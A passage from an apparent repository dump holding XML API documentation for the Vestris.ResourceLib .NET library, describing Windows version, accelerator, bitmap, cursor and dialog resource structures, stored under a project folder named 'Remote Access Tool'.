format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It typically contains a \n            list of language and code page identifier pairs that the version of the application or DLL supports.\n            http://msdn.microsoft.com/en-us/library/bb202818.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Languages\">\n            <summary>\n            A dictionary of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.String)\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n            <param name=\"key\">Table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Read(System.IntPtr)\">\n            <summary>\n            Read a table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the table of language and code page identifier pairs to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Item(System.UInt16)\">\n            <summary>\n            Returns a code page identifier for a given language.\n            </summary>\n            <param name=\"key\">Language ID.</param>\n            <returns>Code page identifier.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the var table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the var table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VersionResource\">\n            <summary>\n            VS_VERSIONINFO\n            This structure depicts the organization of data in a file-version resource. It is the root structure\n            that contains all other file-version information structures.\n            http://msdn.microsoft.com/en-us/library/aa914916.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Header\">\n            <summary>\n            The resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Resources\">\n            <summary>\n            A dictionary of resource tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing version resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor\">\n            <summary>\n            A new language-netural version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a version resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write this version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.String)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"key\">Entry key.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.Int32)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"index\">Entry index.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.ToString\">\n            <summary>\n            Return string representation of the version resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver\">\n            <summary>\n            winver.h, version management functions, types and definitions\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_SIGNATURE\">\n            <summary>\n            VS_VERSION signature.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_STRUCVERSION\">\n            <summary>\n            VS_VERSION structure version.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_FILEFLAGSMASK\">\n            <summary>\n            VS_VERSION file flags mask.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileFlags\">\n            <summary>\n            VS_VERSION file flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_DEBUG\">\n            <summary>\n            The file contains debugging information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRERELEASE\">\n            <summary>\n            The file is a prerelease development version, not a final commercial release.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PATCHED\">\n            <summary>\n            PThe file has been modified somehow and is not identical to the original file\n            that shipped with the product. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRIVATEBUILD\">\n            <summary>\n            The file was not built using standard release procedures. There should be data \n            in the file's \"PrivateBuild\" version information string. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_INFOINFERRED\">\n            <summary>\n            The version information in this structure was not found inside the file, \n            but instead was created when needed based on the best information available. \n            Therefore, this structure's information may differ slightly from what the \"real\"\n            values are.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_SPECIALBUILD\">\n            <summary>\n            The file was built using standard release procedures, but is somehow different \n            from the normal file having the same version number. There should be data in the \n            file's \"SpecialBuild\" version information string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileOs\">\n            <summary>\n            VS_VERSION file OSs.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_UNKNOWN\">\n            <summary>\n            The operating system under which the file was designed to run could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS\">\n            <summary>\n            The file was designed to run under MS-DOS. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216\">\n            <summary>\n            The file was designed to run under a 16-bit version of OS/2. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232\">\n            <summary>\n            The file was designed to run under a 32-bit version of OS/2.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT\">\n            <summary>\n            The file was designed to run under Windows NT/2000.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_WINCE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS16\">\n            <summary>\n            The file was designed to run under the 16-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM16\">\n            <summary>\n            The file was designed to be run under a 16-bit version of Presentation Manager. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM32\">\n            <summary>\n            The file was designed to be run under a 32-bit version of Presentation Manager.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS32\">\n            <summary>\n            The file was designed to run under the 32-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216_PM16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232_PM32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileType\">\n            <summary>\n            VS_VERSION file types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_UNKNOWN\">\n            <summary>\n            The type of file could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_APP\">\n            <summary>\n            The file is an application.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DLL\">\n            <summary>\n            The file is a Dynamic Link Library (DLL). \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DRV\">\n            <summary>\n            The file is a device driver. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_FONT\">\n            <summary>\n            The file is a font. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_VXD\">\n            <summary>\n            The file is a virtual device.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_STATIC_LIB\">\n            <summary>\n            The file is a static link library.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileSubType\">\n            <summary>\n            File sub-type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_UNKNOWN\">\n            <summary>\n            The type of driver could not be determined. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_PRINTER\">\n            <summary>\n            The file is a printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_KEYBOARD\">\n            <summary>\n            The file is a keyboard driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_LANGUAGE\">\n            <summary>\n            The file is a language driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_DISPLAY\">\n            <summary>\n            The file is a display driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_MOUSE\">\n            <summary>\n            The file is a mouse driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_NETWORK\">\n            <summary>\n            The file is a network driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SYSTEM\">\n            <summary>\n            The file is a system driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INSTALLABLE\">\n            <summary>\n            The file is an installable driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SOUND\">\n            <summary>\n            The file is a sound driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_COMM\">\n            <summary>\n            The file is a communications driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INPUTMETHOD\">\n            <summary>\n            The file is an input method driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_VERSIONED_PRINTER\">\n            <summary>\n            The file is a versioned printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_RASTER\">\n            <summary>\n            The file is a raster font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_VECTOR\">\n            <summary>\n            The file is a vector font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_TRUETYPE\">\n            <summary>\n            The file is a TrueType font. \n            </summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net40/Vestris.ResourceLib.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Vestris.ResourceLib</name>\n    </assembly>\n    <members>\n        <member name=\"T:Vestris.ResourceLib.Accelerator\">\n            <summary>\n            Standard accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Read(System.IntPtr)\">\n            <summary>\n            Read the accelerator.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write accelerator to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Key\">\n            <summary>\n            String representation of the accelerator key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Command\">\n            <summary>\n            An unsigned integer value that identifies the accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.ToString\">\n            <summary>\n            String representation of the accelerator.\n            </summary>\n            <returns>String representation of the accelerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.AcceleratorResource\">\n            <summary>\n            An accelerator, RT_ACCELERATOR resource.\n            An accelerator provides the user with access to an application's command set.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.AcceleratorResource.Accelerators\">\n            <summary>\n            Accelerator keys.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor\">\n            <summary>\n            A new accelerator resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing accelerator resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the accelerators table.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the accelerator table.</param>\n            <returns>Address of the end of the accelerator table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.ToString\">\n            <summary>\n            String representation of the accelerators resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Aligned\">\n            <summary>\n            Creates an 8 bit aligned copy of the buffer if it is not already aligned\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapFile\">\n            <summary>\n            A bitmap file in a .bmp format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapFile.Bitmap\">\n            <summary>\n            Device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapFile.#ctor(System.String)\">\n            <summary>\n            An existing bitmap file.\n            </summary>\n            <param name=\"filename\">A file in a .bmp format.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapResource\">\n            <summary>\n            An embedded bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing bitmap resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor\">\n            <summary>\n            A new bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the bitmap resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapResource.Bitmap\">\n            <summary>\n            A device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of cursors that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorResource\">\n            <summary>\n            This structure depicts the organization of data in a cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor\">\n            <summary>\n            A new cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotX\">\n            <summary>\n            Horizontal hotspot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotY\">\n            <summary>\n            Vertical hot spot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.SaveIconTo(System.String)\">\n            <summary>\n            Write the cursor data to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read DIB image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">DIB size.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DeviceIndependentBitmap\">\n            <summary>\n            A device-independent image consists of a BITMAPINFOHEADER where\n            bmWidth is the width of the image andbmHeight is double the height \n            of the image, followed by the bitmap color table, followed by the image\n            pixels, followed by the mask pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Data\">\n            <summary>\n            Raw image data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Header\">\n            <summary>\n            Bitmap info header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Size\">\n            <summary>\n            Bitmap size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor\">\n            <summary>\n            A new icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(System.Byte[])\">\n            <summary>\n            A device-independent bitmap.\n            </summary>\n            <param name=\"data\">Bitmap data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(Vestris.ResourceLib.DeviceIndependentBitmap)\">\n            <summary>\n            Create a copy of an image.\n            </summary>\n            <param name=\"image\">Source image.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.Read(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read icon data.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of icon data.</param>\n            <param name=\"size\">Icon data size.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.MaskImageSize\">\n            <summary>\n            Size of the image mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.XorImageIndex\">\n            <summary>\n            Position of the DIB bitmap bits within a DIB bitmap array.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.ColorCount\">\n            <summary>\n            Number of colors in the palette.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.GetDIBRowWidth(System.Int32)\">\n            <summary>\n            Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary.\n            </summary>\n            <param name=\"width\">Number of bits.</param>\n            <returns>Width of a row in bytes.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Mask\">\n            <summary>\n            Bitmap monochrome mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Color\">\n            <summary>\n            Bitmap color (XOR) part of the image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Image\">\n            <summary>\n            Complete image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.CharacterSet\">\n            <summary>\n            Indicates the character set to use.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Weight\">\n            <summary>\n            Weight of the font. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Italic\">\n            <summary>\n            Indicates whether the font is italic.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.#ctor\">\n            <summary>\n            An extended dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.ToString\">\n            <summary>\n            String representation of the dialog.\n            </summary>\n            <returns>String in the DIALOGEX [dialog] format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplateControl\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.#ctor\">\n            <summary>\n            An extended dialog control template structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog control.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.ToString\">\n            <summary>\n            Return a string representation of the dialog control.\n            </summary>\n            <returns>A single line in the \"CLASS name id, dimensions and styles' format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogResource\">\n            <summary>\n            A dialog template resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogResource.Template\">\n            <summary>\n            A dialog template structure that describes the dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured dialog resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor\">\n            <summary> \n            A structured dialog resource embedded in an executable module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.ToString\">\n            <summary>\n            Dialog resource in standard resource editor text format.\n            </summary>\n            <returns>Multi-line string.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATE structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        